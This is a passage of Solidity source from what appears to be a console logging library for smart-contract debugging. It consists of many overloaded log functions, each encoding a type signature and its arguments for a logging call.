_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
